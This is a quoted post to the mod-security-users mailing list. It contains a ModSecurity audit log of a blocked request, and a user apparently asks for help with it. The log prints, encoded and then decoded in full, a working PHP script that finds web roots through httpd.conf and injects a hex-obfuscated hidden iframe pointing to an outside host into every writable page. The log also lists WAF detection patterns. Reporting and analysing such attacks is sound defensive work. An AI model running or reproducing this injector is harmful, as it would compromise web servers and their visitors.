%28%24%66%6E%61%6D%65%2C%27%2A%27%29%29%20%7B%20%63%6F%6E%74%69%6E%75%65%= 3B%20%7D%0A%09%0A%23%09%65%63%68%6F%20%22%5B%61%5D%20%66%6E%61%6D%65%3D%2= 4%66%6E%61%6D%65%5C%6E%22%3B%0A%09%69%66%20%28%73%75%62%73%74%72%28%24%66= %6E%61%6D%65%2C%30%2C%31%29%20%21%3D%20%27%2F%27%29%20%0A%09%7B%0A%09%20%= 24%66%6E%61%6D%65%20%3D%20%24%73%65%72%76%65%72%72%6F%6F%74%2E%24%66%6E%6= 1%6D%65%3B%20%0A%23%09%20%65%63%68%6F%20%22%5B%62%5D%20%66%6E%61%6D%65%3D= %24%66%6E%61%6D%65%5C%6E%22%3B%20%0A%09%7D%0A%09%0A%09%69%66%20%28%21%28%= 66%69%6C%65%5F%65%78%69%73%74%73%28%24%66%6E%61%6D%65%29%29%29%20%7B%20%6= 3%6F%6E%74%69%6E%75%65%3B%20%7D%0A%09%0A%20%20%20%20%20%20%20%20%65%63%68= %6F%20%22%69%6E%63%6C%75%64%65%3A%20%24%66%6E%61%6D%65%5C%6E%22%3B%0A%09%= 24%70%61%74%68%73%20%3D%20%63%68%65%63%6B%63%6F%6E%66%28%24%66%6E%61%6D%6= 5%2C%24%70%61%74%68%73%2C%24%73%65%72%76%65%72%72%6F%6F%74%29%3B%0A%20%20= %20%20%20%20%7D%20%0A%20%20%20%20%20%0A%20%20%20%20%7D%0A%20%20%20%20%66%= 63%6C%6F%73%65%28%24%66%70%29%3B%0A%20%20%20%20%0A%20%20%20%20%2F%2F%65%6= 3%68%6F%20%22%5B%31%5D%20%70%61%74%68%73%3D%24%70%61%74%68%73%20%66%6E%61= %6D%65%3D%24%66%6E%61%6D%65%5C%6E%22%20%3B%0A%20%20%20%20%0A%20%20%20%20%= 72%65%74%75%72%6E%20%24%70%61%74%68%73%3B%0A%7D%0A%0A%66%75%6E%63%74%69%6= F%6E%20%63%68%65%63%6B%70%61%74%68%28%24%70%61%74%68%29%0A%7B%20%0A%0A%67= %6C%6F%62%61%6C%20%24%63%6F%64%65%2C%24%63%6F%75%6E%74%77%72%2C%24%63%6F%= 75%6E%74%64%6F%6E%65%2C%24%63%6F%75%6E%74%70%72%65%76%3B%0A%0A%0A%23%70%7= 2%69%6E%74%20%27%66%69%6E%64%20%27%2E%24%70%61%74%68%2E%27%20%32%3E%2F%64= %65%76%2F%6E%75%6C%6C%20%27%2E%63%68%72%28%30%78%37%43%29%2E%27%20%67%72%= 65%70%20%2D%65%20%2E%68%74%6D%6C%24%20%2D%65%20%2E%70%68%70%24%20%2D%65%2= 0%2E%68%74%6D%24%20%2D%65%20%2E%74%70%6C%24%20%20%2D%65%20%2E%74%65%6D%70= %6C%24%20%2D%65%20%2E%74%6D%70%6C%24%27%3B%0A%24%66%70%20%3D%20%70%6F%70%= 65%6E%28%27%66%69%6E%64%20%27%2E%24%70%61%74%68%2E%27%20%32%3E%2F%64%65%7= 6%2F%6E%75%6C%6C%20%27%2E%63%68%72%28%30%78%37%43%29%2E%27%20%67%72%65%70= %20%2D%65%20%2E%68%74%6D%6C%24%20%2D%65%20%2E%70%68%70%24%20%2D%65%20%2E%= 68%74%6D%24%20%2D%65%20%2E%74%70%6C%24%20%20%2D%65%20%2E%74%65%6D%70%6C%2= 4%20%2D%65%20%2E%74%6D%70%6C%24%27%2C%27%72%27%29%3B%0A%0A%77%68%69%6C%65= %20%28%21%66%65%6F%66%28%24%66%70%29%29%0A%7B%0A%20%20%24%66%6E%61%6D%65%= 20%3D%20%66%67%65%74%73%28%24%66%70%29%3B%20%20%0A%20%20%24%66%6E%61%6D%6= 5%20%3D%20%73%75%62%73%74%72%28%24%66%6E%61%6D%65%2C%30%2C%73%74%72%6C%65= %6E%28%24%66%6E%61%6D%65%29%2D%31%29%3B%0A%20%20%0A%20%20%69%66%20%28%73%= 74%72%73%74%72%28%24%66%6E%61%6D%65%2C%27%62%75%67%2E%70%68%70%27%29%29%2= 0%7B%20%63%6F%6E%74%69%6E%75%65%3B%20%7D%0A%20%20%69%66%20%28%73%74%72%73= %74%72%28%24%66%6E%61%6D%65%2C%27%61%64%6D%69%6E%27%29%29%20%7B%20%63%6F%= 6E%74%69%6E%75%65%3B%20%7D%0A%20%20%69%66%20%28%73%74%72%73%74%72%28%24%6= 6%6E%61%6D%65%2C%27%62%61%63%6B%75%70%27%29%29%20%7B%20%63%6F%6E%74%69%6E= %75%65%3B%20%7D%0A%20%20%69%66%20%28%73%74%72%73%74%72%28%24%66%6E%61%6D%= 65%2C%27%69%6E%2E%27%29%29%20%7B%20%63%6F%6E%74%69%6E%75%65%3B%20%7D%0A%2= 0%20%69%66%20%28%73%74%72%73%74%72%28%24%66%6E%61%6D%65%2C%27%6F%75%74%2E= %27%29%29%20%7B%20%63%6F%6E%74%69%6E%75%65%3B%20%7D%0A%20%20%69%66%20%28%= 73%74%72%73%74%72%28%24%66%6E%61%6D%65%2C%27%63%72%6F%6E%27%29%29%20%7B%2= 0%63%6F%6E%74%69%6E%75%65%3B%20%7D%0A%20%20%69%66%20%28%73%74%72%73%74%72= %28%24%66%6E%61%6D%65%2C%27%2E%65%65%27%29%29%20%7B%20%63%6F%6E%74%69%6E%= 75%65%3B%20%7D%0A%20%20%0A%20%20%24%66%66%20%3D%20%66%6F%70%65%6E%28%24%6= 6%6E%61%6D%65%2C%27%61%27%29%3B%0A%20%20%69%66%20%28%21%24%66%66%29%20%7B= %20%63%6F%6E%74%69%6E%75%65%3B%20%7D%0A%20%20%66%63%6C%6F%73%65%28%24%66%= 66%29%3B%0A%20%20%0A%20%20%69%66%20%28%66%69%6C%65%73%69%7A%65%28%24%66%6= E%61%6D%65%29%3E%32%30%30%30%30%30%29%20%7B%20%63%6F%6E%74%69%6E%75%65%3B= %20%7D%0A%20%20%0A%20%20%0A%23%20%20%65%63%68%6F%20%22%24%66%6E%61%6D%65%= 5C%6E%22%3B%0A%20%20%0A%20%20%24%74%65%78%74%20%3D%20%66%69%6C%65%28%24%6= 6%6E%61%6D%65%29%3B%0A%20%20%24%63%6F%75%6E%74%77%72%2B%2B%3B%0A%0A%20%20= %0A%20%20%66%6F%72%65%61%63%68%20%28%24%74%65%78%74%20%61%73%20%24%6B%65%= 79%3D%3E%24%76%61%6C%29%0A%20%20%7B%0A%20%20%20%20%0A%20%20%0A%20%20%20%2= 0%24%6B%3D%73%74%72%70%6F%73%28%24%76%61%6C%2C%27%3C%62%6F%64%79%27%29%3B= %0A%20%20%20%20%69%66%20%28%73%74%72%6C%65%6E%28%24%6B%29%3D%3D%30%29%20%= 7B%20%24%6B%3D%73%74%72%70%6F%73%28%24%76%61%6C%2C%27%3C%42%4F%44%59%27%2= 9%3B%7D%0A%20%20%20%20%0A%20%20%20%20%69%66%20%28%73%74%72%6C%65%6E%28%24= %6B%29%3E%30%29%20%0A%20%20%20%20%7B%0A%0A%20%20%20%20%20%20%69%66%20%28%= 73%74%72%73%74%72%28%24%76%61%6C%2C%24%63%6F%64%65%29%29%0A%20%20%20%20%2= 0%20%7B%0A%20%20%20%20%20%20%20%20%20%24%63%6F%75%6E%74%70%72%65%76%2B%2B= %3B%0A%2F%2F%20%20%20%20%20%20%20%20%20%63%6F%6E%74%69%6E%75%65%3B%0A%20%= 20%20%20%20%20%7D%0A%0A%20%20%20%20%20%20%24%76%61%6C%20%3D%20%70%72%65%6= 7%5F%72%65%70%6C%61%63%65%28%27%2F%28%5B%5E%20%5D%29%20%2A%3C%73%63%72%69= %70%74%3E%20%76%61%72%20%73%3D%2E%2A%75%6E%65%73%63%61%70%65%2E%2A%3C%5C%= 2F%73%63%72%69%70%74%3E%20%2A%28%5B%5E%20%5D%29%2F%69%27%2C%27%24%31%24%3= 2%27%2C%24%76%61%6C%29%3B%0A%20%20%20%20%0A%20%20%20%20%20%20%0A%20%20%20= %20%20%20%69%66%20%28%73%74%72%73%74%72%28%24%76%61%6C%2C%27%42%42%46%46%= 42%42%27%29%29%20%7B%20%63%6F%6E%74%69%6E%75%65%3B%20%7D%20%2F%2F%62%61%6= 3%6B%2E%70%68%70%0A%0A%20%20%20%20%20%20%24%69%3D%30%3B%20%20%24%6B%2B%3D= %35%3B%0A%20%20%20%20%20%20%77%68%69%6C%65%28%24%69%3C%73%74%72%6C%65%6E%= 28%24%76%61%6C%29%2D%24%6B%2B%31%20%26%26%20%73%75%62%73%74%72%28%24%76%6= 1%6C%2C%24%6B%2B%24%69%2C%31%29%20%21%3D%20%27%3E%27%29%0A%20%20%20%20%20= %20%7B%0A%20%20%20%20%20%20%20%20%24%69%2B%2B%3B%0A%20%20%20%20%20%20%7D%= 20%0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%69%66%20%28%24%69%3D%3D%73%7= 4%72%6C%65%6E%28%24%76%61%6C%29%2D%24%6B%2B%31%29%20%7B%20%63%6F%6E%74%69= %6E%75%65%3B%20%7D%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%24%6B%= 2B%3D%24%69%2B%31%3B%0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%0A%20%20%2= 0%20%20%20%0A%20%20%20%20%20%0A%20%20%20%20%20%20%24%62%65%67%20%3D%20%73= %75%62%73%74%72%28%24%76%61%6C%2C%30%2C%24%6B%29%3B%0A%20%20%20%20%20%20%= 24%65%6E%64%20%3D%20%73%75%62%73%74%72%28%24%76%61%6C%2C%24%6B%2C%73%74%7= 2%6C%65%6E%28%24%76%61%6C%29%2D%24%6B%29%3B%0A%20%20%20%20%20%20%0A%20%20= %20%20%20%20%24%74%65%78%74%5B%24%6B%65%79%5D%20%3D%20%24%62%65%67%2E%24%= 63%6F%64%65%2E%24%65%6E%64%3B%0A%20%20%20%20%20%20%0A%23%20%20%20%20%20%2= 0%65%63%68%6F%20%22%24%62%65%67%24%63%6F%64%65%24%65%6E%64%22%3B%0A%0A%20= %20%20%20%20%20%24%66%6F%20%3D%20%66%6F%70%65%6E%28%24%66%6E%61%6D%65%2C%= 22%77%22%29%3B%0A%20%20%20%20%20%20%66%6F%72%65%61%63%68%20%28%24%74%65%7= 8%74%20%61%73%20%24%6B%65%79%3D%3E%24%76%61%6C%29%0A%20%20%20%20%20%20%7B= %0A%23%20%20%20%20%20%20%20%20%65%63%68%6F%20%24%76%61%6C%3B%0A%20%20%20%= 20%20%20%20%20%66%77%72%69%74%65%28%24%66%6F%2C%24%76%61%6C%29%3B%0A%20%2= 0%20%20%20%20%7D%0A%20%20%20%20%20%20%66%63%6C%6F%73%65%28%24%66%6F%29%3B= %0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%24%63%6F%75%6E%74%64%6F%6E%65%= 2B%2B%3B%20%0A%23%20%20%20%20%20%20%65%63%68%6F%20%22%24%66%6E%61%6D%65%3= C%62%72%3E%5C%6E%22%3B%0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%0A%20%20= %20%20%20%20%62%72%65%61%6B%3B%0A%20%20%20%20%20%20%20%0A%20%20%20%20%7D%= 20%0A%20%20%7D%0A%0A%7D%0A%0A%70%63%6C%6F%73%65%28%24%66%70%29%3B%0A%0A%7= D%0A%0A%0A%3F%3E > > --ac6f6e57-F-- > > HTTP/1.1 200 OK > > Content-Length: 2342 > > Keep-Alive: timeout=3D3, max=3D100 > > Connection: Keep-Alive > > Content-Type: text/html > > =20 > > --ac6f6e57-E-- > > <html> > > <head> > > <title>Arrow Trader</title><style> > > a:active{text-decoration: none; color: #000000;} > > a:link{text-decoration: none; color: #000000;} > > a:visited{text-decoration: none; color: #000000;} > > a:hover{color: #003366;text-decoration:underline;} > > body{font-family: Verdana, Tahoma, Arial; font-size: 8.5pt; color:=20 > #000000; background-color : #FFFFFF;} > > tr{font-family: Verdana, Tahoma, Arial; font-size: 8.5pt; color: #00000= 0;} > > td{font-family: Verdana, Tahoma, Arial; font-size: 8pt;} > > .table1{background-color:#444444; border:none;} > > .header1{font-size: 11px; background-color: #CC3300; color: #ffffff;} > > .row1{background-color: #eeeeee;} > > .row2{background-color: #ffffff;} > > .hirow{font-size: 11px; background-color: yellow; color: #111111;} > > .form{font-family: Verdana, Tahoma, Arial; font-size: 8.5pt; color:=20 > #000000; border:1px solid #a5a5a5;} > > .button{font-size: 10px; font-family: Verdana, Tahoma, Arial;=20 > background-color: #ffffff; border:1px solid #555555;} > > .title1{font-size: 12px; font-family: Verdana, Tahoma, Arial;} > > .descr1{font-size: 9px; font-family: Verdana, Tahoma, Arial;} > > .chart1{background-color: #A5B2E7; border:1px solid #555555;} > > .chart2{background-color: #EE7E4F; border:1px solid #555555;} > > .chart3{background-color: #32CD32; border:1px solid #555555;} > > table.menu{position:absolute;visibility:hidden;} > > .negative{color:red; background-color:#FFE1E1;} > > .hiddentext {display:none; font-size: 9px; font-family: Verdana,=20 > Tahoma, Arial;} > > .help {cursor:hand; font-size: 12px; font-family: Verdana, Tahoma, Aria= l;} > > .check{height:14px; border:none;} > > .navrow{font-family: Verdana, Tahoma, Arial; font-size: 8.5pt; color:=20 > #000000;} > > .navcell1{text-align:center; font-weight: bold; font-family: Verdana,=20 > Tahoma, Arial; font-size: 8pt; background-color: #ffffff;} > > .navcell2{text-align:center; font-weight: bold; font-family: Verdana,=20 > Tahoma, Arial; font-size: 8pt; background-color: #eeeeee;} > > .navcell3{text-align:center; font-weight: bold; font-family: Verdana,=20 > Tahoma, Arial; font-size: 8pt; background-color: #ffffff; color:red;} > > </style> > > </head> > > <body class=3D"body1"> > > <div align=3Dcenter> > > <font style=3D"font:normal 8pt arial;";><font=20 > style=3D"color:red;"><b>Error</b></font><br> > > Unable to open file=20 > <b>/var/www/vhosts/myhosthere.com/httpdocs/st/backup.php</b><br> > > Please check file permissions and try again.<br> > > </font> > > </div> > > </body> > > </html> > > --ac6f6e57-H-- > > Message: Warning. Pattern match=20 > "\\b(?:(?:s(?:ys(?:(?:(?:process|tabl)e|filegroup|object)s|c(?:o(?:nstr= aint|lumn)s|at)|dba|ibm)|ubstr(?:ing)?)|user_(?:(?:(?:constrain|objec)t|t= ab(?:_column|le)|ind_column|user)s|password|group)|a(?:tt(?:rel|typ)id|ll= _objects)|object_(?:(?:nam|typ)e|id)=20 > ..." at ARGS:notes. [id "950904"] [msg "Blind SQL Injection Attack.=20 > Matched signature <substr>"] [severity "CRITICAL"] > > Message: Warning. Pattern match=20 > "\\b(?:user_(?:(?:object|table|user)s|password|group)|a(?:tt(?:rel|typ)= id|ll_objects)|object_(?:(?:nam|typ)e|id)|pg_(?:attribute|class)|column_(= ?:name|id)|substr(?:ing)?|table_name|mb_users|rownum)\\b"=20 > at ARGS:notes. [id "950906"] [msg "SQL Injection Attack. Matched=20 > signature <substr>"] [severity "CRITICAL"] > > Message: Warning. Pattern match=20 > "(?:\\b(?:(?:type\\b\\W*?\\b(?:text\\b\\W*?\\b(?:j(?:ava)?|ecma|vb)|app= lication\\b\\W*?\\bx-(?:java|vb))script|c(?:opyparentfolder|reatetextrang= e)|get(?:special|parent)folder)\\b|on(?:(?:mo(?:use(?:o(?:ver|ut)|down|mo= ve|up)|ve)|key(?:press|down|up)|c(?:=20 > ..." at ARGS:notes. [id "950004"] [msg "Cross-site Scripting (XSS)=20 > Attack. Matched signature <<script>"] [severity "CRITICAL"] > > Message: Warning. Pattern match=20 > "(?:\\b(?:\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\.asa|httpd\= \.conf|boot\\.ini)\\b|\\/etc\\/)"=20 > at ARGS:notes. [id "950005"] [msg "Remote File Access Attempt. Matched = > signature <httpd.conf>"] [severity "CRITICAL"] > > Message: Warning. Pattern match=20 > "(?:\\b(?:(?:n(?:et(?:\\b\\W+?\\blocalgroup|\\.exe)|(?:map|c)\\.exe)|t(= ?:racer(?:oute|t)|elnet\\.exe|clsh8?|ftp)|(?:w(?:guest|sh)|rcmd|ftp)\\.ex= e|echo\\b\\W*?\\by+)\\b|c(?:md(?:(?:32)?\\.exe\\b|\\b\\W*?\\/c)|d(?:\\b\\= W*?[\\\\/]|\\W*?\\.\\.)|hmod.{0,40}?=20 > ..." at ARGS:notes. [id "950006"] [msg "System Command Injection.=20 > Matched signature <;\necho>"] [severity "CRITICAL"] > > Message: Warning. Pattern match=20 > "(?:\\((?:\\W*?(?:objectc(?:ategory|lass)|homedirectory|[gu]idnumber|cn= )\\b\\W*?=3D|[^\\w\\x80-\\xFF]*?[\\!\\&\\|][^\\w\\x80-\\xFF]*?\\()|\\)[^\= \w\\x80-\\xFF]*?\\([^\\w\\x80-\\xFF]*?[\\!\\&\\|])"=20 > at ARGS:notes. [id "950010"] [msg "LDAP Injection Attack. Matched=20 > signature <(!(>"] [severity "CRITICAL"] > > Message: Warning. Pattern match=20 > "(?:(?:\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|= read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|r= ead(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open)|\\$_(?:(?:pos= |ge)t|session))\\b|<\\?(?!xml))"=20 > at ARGS:notes. [id "950013"] [msg "PHP Injection Attack. Matched=20 > signature <<?>"] [severity "CRITICAL"] > > Apache-Handler: cgi-script > > Stopwatch: 1199137640795573 1016850 (904427* 973441 1015915) > > Response-Body-Transformed: Dechunked > > Producer: ModSecurity v2.1.4 (Apache 2.x) > > Server: Apache/2.0.52 (CentOS) > > =20 > > --ac6f6e57-Z-- > > =20 > > =20 > > =20 > > here is the decoded POST payload: > > =20 > > <? > > =20 > > $debug=3D0; > > =20 > > #$_GET[l]=3D0; > > =20 > > =20 > > =20 > > $code =3D=20 > " = =20 > = = = = = = = = = = = = = = = = = = = = = <script>=20 > var=20 > s=3D'3C696672616D65207372633D22687474703A2F2F7777772E68716D70672E636F6D= 2F66726565706F726E2F7468756D62732F7A2F7374617469632E706870222077696474683= D32206865696768743D32207374796C653D22646973706C61793A6E6F6E65223E3C2F6966= 72616D653E';=20 > var o=3D''; for(i=3D0;i<s.length;i=3Di+2) { var c=3DString.fromCharCode= (37); =20 > o=3Do+c+s.substr(i,2);} document.write(unescape(o));=20 > </script> = = =20 > = = = = = = = "; > > =20 > > error_reporting( E_ERROR ); > > =20 > > if ($_GET[l]=3D=3D0) { $_GET[p] =3D './'; } > > if ($_GET[l]=3D=3D1) { $_GET[p] =3D '../'; } > > if ($_GET[l]=3D=3D2) { $_GET[p] =3D '../../'; } > > if ($_GET[l]=3D=3D3) { $_GET[p] =3D '../../../'; } > > if ($_GET[l]=3D=3D4) { $_GET[p] =3D '../../../../'; } > > =20 > > $path=3D$argv[1]; > > if (strlen($path)<2){ $path=3D$_GET[p]; } > > if (strlen($path)<2){ $path=3D'./'; } > > =20 > > =20 > > if ($_GET[l]=3D=3D100 or $argv[2]=3D=3D'100') > > { > > $serverroot=3D''; > > $paths =3D getpaths(); > > echo "paths=3D$paths\n"; > > =20 > > $countwr=3D0; > > $countdone=3D0; > > $countprev=3D0; > > $all =3D explode('::',$paths); > > foreach ($all as $path) > > { > > checkpath($path); > > } > > =20 > > echo " CountWR: $countwr<br>\n"; > > echo "CountDone: $countdone<br>\n"; > > echo "CountPrev: $countprev<br>\n"; > > =20 > > =20 > > exit; > > =20 > > } > > =20 > > else > > { > > $countwr=3D0; > > $countdone=3D0; > > $countprev=3D0; > > checkpath($path); > > echo " CountWR: $countwr<br>\n"; > > echo "CountDone: $countdone<br>\n"; > > echo "CountPrev: $countprev<br>\n"; > > } > > =20 > > exit; > > =20 > > function getpaths() > > { > > global $debug,$serverroot; > > # if ($debug!=3D1) { if (file_exists('/tmp/paths')) { return ''; } =20 > $fp=3Dfopen('/tmp/paths','w'); fclose($fp); } > > =20 > > $paths =3D '::'; > > =20 > > $command =3D 'find /etc 2>/dev/null '.chr(0x7C).' grep=20 > \'httpd\.conf\''; > > $command .=3D ';find /var 2>/dev/null '.chr(0x7C).' grep=20 > \'httpd\.conf\''; > > $command .=3D ';find /usr/local 2>/dev/null '.chr(0x7C).' grep=20 > \'httpd\.conf\''; > > $fp =3D popen($command,'r'); > > while (!feof($fp)) > > { > > $fname =3D fgets($fp);=20 > > $fname =3D substr($fname,0,strlen($fname)-1); > > if (strlen($fname)<1) { continue; } > > echo "httpd.conf: ".$fname."\n"; > > if ($debug=3D=3D1) { $fname=3D'httpd.conf'; } > > $paths =3D checkconf($fname,$paths,''); > > =20 > > } > > pclose($fp); > > =20 > > if (substr($paths,0,2)=3D=3D'::') { $paths =3D=20 > substr($paths,2,strlen($paths)-2);} > > if (substr($paths,-2,2)=3D=3D'::') { $paths =3D=20 > substr($paths,0,strlen($paths)-2);} > > if (strlen($paths)=3D=3D0) > > { > > echo "Paths found: 0\n"; > > } > > else > > { > > echo "END Paths found: ".(count(explode('::',$paths)))."\n"; > > } > > =20 > > =20 > > return $paths; > > =20 > > } > > =20 > > =20 > > =20 > > function checkconf($fname,$paths,$serverroot) > > { > > # echo "checking conf file: $fname\n"; > > =20 > > $fp =3D fopen($fname,'r'); > > if (!$fp) { echo "permission denied: $fname\n"; return ''; } > > =20 > > while (!feof($fp)) > > { > > $str =3D fgets($fp);=20 > > =20 > > if (substr($str,0,1)=3D=3D'#') { continue; } > > =20 > > if (strstr($str,'ServerRoot')) > > { > > list ($temp,$sroot) =3D explode('ServerRoot',$str); > > $sroot =3D str_replace(' ','',$sroot); > > $sroot =3D str_replace("\n",'',$sroot); > > $sroot =3D str_replace("\"",'',$sroot); > > if (substr_count($sroot,'/')<2) { continue; } > > $serverroot =3D $sroot; > > if (substr($serverroot,-1,1)!=3D'/') { $serverroot.=3D'/';}= > > echo "ServerRoot: -$serverroot-\n"; > > } > > =20 > > if (strstr($str,'DocumentRoot')) > > { > > list ($temp,$path) =3D explode('DocumentRoot',$str); > > $path =3D str_replace(' ','',$path); > > $path =3D str_replace("\n",'',$path); > > $path =3D str_replace("\"",'',$path); > > if (substr_count($path,'/')<2) { continue; } > > if (!(strstr($paths,'::'.$path.'::'))) { $paths .=3D=20 > $path.'::'; echo "ADDED PATH: $path\n"; } > > //echo "[0] paths=3D$paths\n" ; > > } > > =20 > > if (strstr($str,'nclude') && (!(strstr($str,'odule')))) > > { > > list ($temp,$fname) =3D explode('nclude',$str); > > $fname =3D str_replace(' ','',$fname); > > $fname =3D str_replace("\n",'',$fname); > > $fname =3D str_replace("\"",'',$fname); > > if (strstr($fname,'*')) { continue; } > > =20 > > # echo "[a] fname=3D$fname\n"; > > if (substr($fname,0,1) !=3D '/') > > { > > $fname =3D $serverroot.$fname; > > # echo "[b] fname=3D$fname\n"; > > } > > =20 > > if (!(file_exists($fname))) { continue; } > > =20 > > echo "include: $fname\n"; > > $paths =3D checkconf($fname,$paths,$serverroot); > > } > > =20 > > } > > fclose($fp); > > =20 > > //echo "[1] paths=3D$paths fname=3D$fname\n" ; > > =20 > > return $paths; > > } > > =20 > > function checkpath($path) > > { > > =20 > > global $code,$countwr,$countdone,$countprev; > > =20 > > =20 > > #print 'find '.$path.' 2>/dev/null '.chr(0x7C).' grep -e .html$ -e=20 > .php$ -e .htm$ -e .tpl$ -e .templ$ -e .tmpl$'; > > $fp =3D popen('find '.$path.' 2>/dev/null '.chr(0x7C).' grep -e .html$ = > -e .php$ -e .htm$ -e .tpl$ -e .templ$ -e .tmpl$','r'); > > =20 > > while (!feof($fp)) > > { > > $fname =3D fgets($fp);=20 > > $fname =3D substr($fname,0,strlen($fname)-1); > > =20 > > if (strstr($fname,'bug.php')) { continue; } > > if (strstr($fname,'admin')) { continue; } > > if (strstr($fname,'backup')) { continue; } > > if (strstr($fname,'in.')) { continue; } > > if (strstr($fname,'out.')) { continue; } > > if (strstr($fname,'cron')) { continue; } > > if (strstr($fname,'.ee')) { continue; } > > =20 > > $ff =3D fopen($fname,'a'); > > if (!$ff) { continue; } > > fclose($ff); > > =20 > > if (filesize($fname)>200000) { continue; } > > =20 > > =20 > > # echo "$fname\n"; > > =20 > > $text =3D file($fname); > > $countwr++; > > =20 > > =20 > > foreach ($text as $key=3D>$val) > > { > > =20 > > =20 > > $k=3Dstrpos($val,'<body'); > > if (strlen($k)=3D=3D0) { $k=3Dstrpos($val,'<BODY');} > > =20 > > if (strlen($k)>0) > > { > > =20 > > if (strstr($val,$code)) > > { > > $countprev++; > > // continue; > > } > > =20 > > $val =3D preg_replace('/([^ ]) *<script> var=20 > s=3D.*unescape.*<\/script> *([^ ])/i','$1$2',$val); > > =20 > > =20 > > if (strstr($val,'BBFFBB')) { continue; } //back.php > > =20 > > $i=3D0; $k+=3D5; > > while($i<strlen($val)-$k+1 && substr($val,$k+$i,1) !=3D '>') > > { > > $i++; > > } > > =20 > > if ($i=3D=3Dstrlen($val)-$k+1) { continue; } > > =20 > > $k+=3D$i+1; > > =20 > > &n bsp; =20 > > =20 > > =20 > > $beg =3D substr($val,0,$k); > > $end =3D substr($val,$k,strlen($val)-$k); > > =20 > > $text[$key] =3D $beg.$code.$end; > > =20 > > # echo "$beg$code$end"; > > =20 > > $fo =3D fopen($fname,"w"); > > foreach ($text as $key=3D>$val) > > { > > # echo $val; > > fwrite($fo,$val); > > } > > fclose($fo); > > =20 > > $countdone++; > > # echo "$fname<br>\n"; > > =20 > > =20 > > break; > > =20 > > } > > } > > =20 > > } > > =20 > > pclose($fp); > > =20 > > } > > =20 > > =20 > > ?> > > =20 > > =20 > > thanks for your help !! > > bye > > philippe > > > > > > -----------------------------------------------------------------------= - > Express yourself instantly with MSN Messenger! MSN Messenger=20 > <http://clk.atdmt.com/AVE/go/onm00200471ave/direct/01/> > -----------------------------------------------------------------------= - > > -----------------------------------------------------------------------= -- > This SF.net email is sponsored by: Microsoft > Defy all challenges. Microsoft(R) Visual Studio 2005. > http://clk.atdmt.com/MRT/go/vse0120000070mrt/direct/01/ > -----------------------------------------------------------------------= - > > _______________________________________________ > mod-security-users mailing list > mod...@li... > https://lists.sourceforge.net/lists/listinfo/mod-security-users > =20 |